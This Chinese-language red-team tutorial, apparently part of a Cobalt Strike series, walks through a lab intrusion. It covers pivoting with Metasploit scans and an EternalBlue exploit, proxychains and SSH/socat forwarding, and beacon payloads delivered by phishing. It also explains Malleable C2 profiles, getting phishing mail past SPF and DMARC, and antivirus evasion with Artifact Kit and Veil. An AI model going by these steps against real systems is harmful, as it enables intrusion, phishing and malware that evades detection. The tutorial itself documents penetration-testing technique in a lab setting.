4、扫描 192.168.232.0/24 地址段中的 445 端口
这里作为演示,只扫描一下 445 端口
1 | use auxiliary/scanner/smb/smb_version |
1 | msf5 > use auxiliary/scanner/smb/smb_version |
5、发现利用
通过扫描发现在 192.168.232.0/24 地址段内,除了已经上线的 133
主机外,还有 132
主机也开放了 445 端口,且该主机为 Windows 2008 的操作系统,这里使用永恒之蓝作为演示。
1 | use exploit/windows/smb/ms17_010_eternalblue |
1 | msf5 > use exploit/windows/smb/ms17_010_eternalblue |
使用 ProxyChains 进行代理转发
使用 ProxyChains 可以使我们为没有代理配置功能的软件强制使用代理
- 和上一节中介绍的一致,开启一个 socks 代理服务
- 配置
/etc/proxychains.conf
文件 - 运行
proxychains + 待执行命令
接下来继续上一节中的演示环境:
攻击机 IP:192.168.175.200
上线主机:外部IP 192.168.175.130、内部IP 192.168.232.133
攻击目标:192.168.232.0/24 地址段
1、设置 socks 代理
首先开启交互模式,之后开启 socks 代理
1 | sleep 0 |
1 | beacon> sleep 0 |
2、配置 ProxyChains
在攻击机上,配置 /etc/proxychains.conf
文件的最后一行,根据当前攻击主机 IP 与设置的 Socks 端口,修改如下:
1 | socks4 192.168.175.200 9527 |
3、开始使用 ProxyChains
根据上一节使用 Metasploit 的扫描可以知道,在 192.168.232.0/24 地址段中存在主机 192.168.232.132 ,接下来使用 nmap 扫描一下常见的端口,这里以 80,443,445,3389 作为演示。
1 | proxychains nmap -sT -Pn 192.168.232.132 -p 80,443,445,3389 |
-sT:使用 TCP 扫描
-Pn:不使用 Ping
-p:指定扫描端口
注:不加上 -sT -Pn 参数,将无法使用 proxychains 进行代理扫描
1 | > proxychains nmap -sT -Pn 192.168.232.132 -p 80,443,445,3389 |
通过扫描可以看到目标 80 端口是开放的,接下来使用 curl 作为对比示例。
1 | curl 192.168.232.132 |
1 | > curl 192.168.232.132 |
2、反向转发
反向转发顾名思义就是和上一节中提到的转发路径相反,之前我们设置的代理是 CS服务端 --> 上线主机 --> 内网主机
,反向转发则是 `内网主机 –> 上线主机 –> CS服务端
继续使用上面的演示环境,首先右击上线主机会话,选择 Pivoting --> Listener
,除了 Name 选项之外,CS 都会自动配置好,这里直接使用默认的配置信息
之后生成一个 Windows 可执行文件,选择上一步生成的监听器,如果目标是 64 位则勾选使用 x64 Payload 的选项,然后将该可执行文件在目标主机上执行即可,在现实环境中可以尝试使用钓鱼邮件的方式诱导目标执行。当目标执行该文件后,就会发现当前不出网的 192.168.232.132 主机已经上线了
3、通过 SSH 开通通道
1、连接到上图中蓝色区域里的 PIVOT 主机并开启端口转发
1 | ssh -D 1080 user@<blue pivot> |
该命令中的 -D 参数会使 SSH 建立一个 socket,并去监听本地的 1080 端口,一旦有数据传向那个端口,就自动把它转移到 SSH 连接上面,随后发往远程主机。
2、在红色区域的 PIVOT 主机上开启通过 SSH Socks 的 445 端口转发
1 | socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:<target>:445 |
socat 可以理解成 netcat 的加强版。socat 建立 socks 连接默认端口就是 1080 ,由于我们上面设置的就是 1080,因此这里不需变动。如果设置了其他端口,那么这里还需要在命令最后加上
,socksport=<port>
指定端口才行。
3、在攻击者控制的主机上运行 beacon,使其上线
1 | 注意需要使用 administrator 权限运行 beacon |
4、在上线的主机上运行以下命令
1 | make_token [DOMAIN\user] [password] |
整体的流程就是下面这张图一样
示例
- 首先使 Win1 主机上线,接着在 Linux1 主机上通过 SSH 连接到 Linux2 主机。
1 | ssh -D 1080 user@192.168.175.146 |
1 | > ssh -D 1080 user@192.168.175.146 |
2、在 Linux1 主机上开启 445 端口转发
1 | socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:192.168.232.132:445 |
3、在 Win1 主机上运行以下命令使 Win2 上线
1 | make_token teamssix\administrator Test123! |
1 | beacon> make_token teamssix\administrator Test123! |
4、随后便可以看到通过 SSH 上线的主机
malleable 命令和控制
malleable 是一种针对特定领域的语言,主要用来控制 Cobalt Strike Beacon
在开启 teamserver 时,在其命令后指定配置文件即可调用,比如:
1 | ./teamserver [ip address] [password] [profile] |
编写配置文件
1、定义事务指标
1 | http-get { |
2、控制客户端和服务端指标
1 | http-get { |
3、set 操作
set 语句是给一个选项赋值的方法,以分号结束
1 | set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1)"; |
malleable 给了我们很多选项,比如:
1 | jitter # 控制 beacon 默认回连的抖动因子 |
sleeptime
和 jitter
两个选项是很重要的
添加任意 headers
1 | header "Accept" "text/html,application/xhtml"; |
其他指标
1 | header "header" "value"; |
转换/存储数据
1 | metadata { |
数据转换语言
1 | append "string" |
在GitHub 上有一些配置文件的示例,项目地址:https://github.com/rsmudge/Malleable-C2-Profiles
这一节将使用该项目中的 Malleable-C2-Profiles/APT/havex.profile
配置文件作为示例
测试配置文件是否有效
可以使用 c2lint 工具对配置文件进行测试,以判断配置文件编写的是否有效。
来到 cobalt strike 目录下,可以看到有一个 c2lint 文件,该文件需要在 Linux 下运行。
1 | ./c2lint [profile] |
在运行的结果中,绿色正常(这里更像青色),黄色告警,红色错误,比如运行 Malleable-C2-Profiles
项目里的 havex.profile
文件
1 | ./c2lint ./Malleable-C2-Profiles/APT/havex.profile |
当配置文件存在错误的时候,就会以红色显示出来
运行 teamserver
1 | ./teamserver [teamserver_ip] [teamserver_password] [profile] |
1 | > ./teamserver 192.168.12.2 password ./Malleable-C2-Profiles/APT/havex.profile |
这里调用的 havex.profile 配置文件,该配置文件里对 cookie 进行了 base64 编码
开启 cobalt strike 后,使主机上线,通过 wireshark 抓包可以发现数据包确实符合这些特征。
免杀
Cobalt Strike 不是什么工作情况都能胜任的工具,因此就需要我们根据不同的情况去做一些辅助工作
1、DKIM、SPF 和 DMARC
SPF、DKIM、DMARC 都是邮件用于帮助识别垃圾信息的附加组件,那么作为一个攻击者,在发送钓鱼邮件的时候,就需要使自己的邮件能够满足这些组件的标准,或者发送到未配置这些组件的域
在理解这些防御标准前,需要先理解如何在因特网上通过 SMTP 发送邮件
SMTP
发送一封邮件的过程大概是下面这个样子,这里以QQ邮箱为例。
1 | > telnet smtp.qq.com 25 |
防御策略
DKIM
DKIM DomainKeys Identified Mail
域名密钥识别邮件,DKIM 是一种防范电子邮件欺诈的验证技术,通过消息加密认证的方式对邮件发送域名进行验证。
邮件接收方接收邮件时,会通过 DNS 查询获得公钥,验证邮件 DKIM 签名的有效性,从而判断邮件是否被篡改。
SPF
SPF Sender Policy Framework
发送人策略框架,SPF 主要用来防止随意伪造发件人。其做法就是设置一个 SPF 记录,SPF 记录实际上就是 DNS 的 TXT 记录。如果邮件服务器收到一封来自 IP 不在 SPF 记录里的邮件则会退信或者标记为垃圾邮件。
我们可以使用以下命令查看目标的 SPF 记录 dig +short TXT target.com
1 | > dig +short TXT qq.com |
上面的 include:spf.mail.qq.com
表示引入spf.mail.qq.com
域名下的 SPF 记录。
1 | > dig +short TXT spf-a.mail.qq.com |
上面的 ip4:203.205.251.0/24 ip4:103.7.29.0/24
表示只允许这个范围内的 IP 发送邮件。
DMARC
DMARC Domain-based Message Authentication, Reporting & Conformance
基于域的消息认证,报告和一致性。
它用来检查一封电子邮件是否来自所声称的发送者。DMARC 建立在 SPF 和 DKIM 协议上, 并且添加了域名对齐检查和报告发送功能。这样可以改善域名免受钓鱼攻击的保护。
可以使用下面的命令查看目标的的 DMARC 记录 dig +short TXT _dmarc.target.com
1 | > dig +short TXT _dmarc.qq.com |
也有一些在线网站支持检测 SPF、DKIM、DMARC 的记录,比如 https://dmarcly.com/tools
发送钓鱼邮件的一些注意事项
1、检测目标是否有 SPF 记录,如果有则可能会被拦截
2、检测目标 DMARC 记录的 p 选项是否为 reject ,如果有则可能会被拒绝
3、模板中嵌入的 URL 地址,不要使用 IP 地址,要保证使用完整的 URL地址
4、邮件的附件中不能附上一些可执行文件,比如 exe 格式的文件,因为一些邮件过滤器可能会将这些可执行文件删除
2、杀毒软件
常规杀毒软件的目的就是发现已知病毒并中止删除它,而作为攻击者则需要对病毒文件进行免杀处理,从而使杀毒软件认为我们的文件是合法文件
杀软受到的限制
1、杀毒软件不能把可疑文件删除或者结束运行,否则用户的正常操作可能就会受到影响,同时也会对杀毒软件公司的声誉、口碑产生影响。
2、杀毒软件不能占用太多的系统资源,否则用户可能会考虑卸载杀毒软件。
3、大多数杀毒软件的一个弱点就是只会在浏览器下载文件或者文件被写入磁盘时才会检查这个文件的特征码,也就是说在这种情况下才会检查文件是否是病毒。
如何工作
1、在大多数杀毒软件背后都会有一个已知病毒的签名数据库,通过将当前文件的特征码与病毒签名数据库进行比对,如果一致则说明该文件是病毒。
2、同时一些杀毒软件也会去发现用户的一些可疑行为,而且杀毒软件对这种可疑行为的判定会下比较大的功夫。因为如果误杀,造成的后果可能对用户来说是比较严重的。
3、一些杀毒软件会在沙箱环境中去运行可疑文件,然后根据该可疑文件的行为判断是否为病毒。
如何免杀
首先要判断目标使用了哪款杀毒软件,然后自己在虚拟机中去尝试绕过它。其次可以使用 Cobalt Strike 的 Artifact Kit 组件制作免杀可执行文件
Artifact Kit
Artifact Kit 是一个制作免杀 EXE、DLL 和 Service EXE 的源代码框架, 在 Cobalt Strike 的 Help-->Arsenal
处可下载Artifact Kit
Artifact Kit 的工作原理大概如下:
1、将病毒文件进行混淆处理,使杀毒软件将其判定为可疑文件而不是病毒文件。这种混淆可以逃避那些使用简单字符串搜索来识别恶意代码的杀毒软件
2、对病毒文件进行一些处理,以绕过沙箱检测。比如 Artifact Kit 中的 src-common/bypass-pipe.c 会生成可执行文件和DLL,它们通过命名管道为自己提供shellcode。如果防病毒沙箱不能模拟命名管道,它将找不到已知的恶意 shellcode
Artifact Kit 的使用步骤大概如下:
1、下载 Artifact Kit
2、如果需要的话就修改/混淆病毒文件
3、构建
4、使用 Artifact Kit 加载脚本
首先来看看未进行免杀处理的效果,这里采用 virustotal 进行检测,发现被 42 个引擎检测到
接下来就试试 Artifact Kit 进行免杀的效果,Github 项目地址:https://github.com/Cliov/Arsenal
这里使用 Artifact Kit 中的 dist-peek 方法进行测试:
Cobalt Strike -> Script Manager,Load 加载
/Arsenal/artifact/dist-peek/artifact.cna插件,之后在
Attacks -> Packages -> Windows Executable` 中生成木马文件
使用 virustotal 检测仅有 8 个引擎检测到
把每个杀软的病毒库升级到最新后,实测可以过腾讯电脑管家、火绒,但 360 安全卫士 、 360 杀毒不行
Veil Evasion
此外,也可以使用 Veil Evasion 框架,Veil Evasion 的安装也是比较简单的,Veil-Evasion 在 Kali 2020以前是自带的,但 Kali 2020 中是需要独立安装的。在 Kali 中可以直接使用 apt-get 进行安装。
1 | git config --global https.proxy 'socks5://127.0.0.1:1080' |
其他系统可以使用 veil-evasion 项目中的介绍进行安装,项目地址:https://github.com/Veil-Framework/Veil-Evasion
由于 Veil Evasion 有 200 多 M ,因此建议挂上代理进行下载安装
安装完成之后,在 Cobalt Strike 里的 Attacks -> Packages -> Payload Generator
中选择 Veil 输出生成一个 payload.txt 文件
随后来到 Kali 下,输入 veil
启动,输入 use Evasion
使用 Evasion 工具,list
查看当前可用的 Payload
1 | veil |
这里使用第 17 个即 go/shellcode_inject/virtual.py
Payload 作为示例,因为 go、c 等编译性语言语言相对于 python 等脚本语言来说免杀效果会好些。
1 | use 17 |
之后输入 generate
,选择第三项 Custom shellcode string
,粘贴刚生成的 payload.txt 文本内容,输入要生成的 exe 文件名,即可生成一个免杀木马。
1 | generate |
实测可以过360 安全卫士、 360 杀毒,但腾讯电脑管家、火绒不行
白名单绕过Defender查杀
mkdir %SystemDrive%\PHP5433
mimikatz 免杀过 360 安全卫士和 360 安全杀毒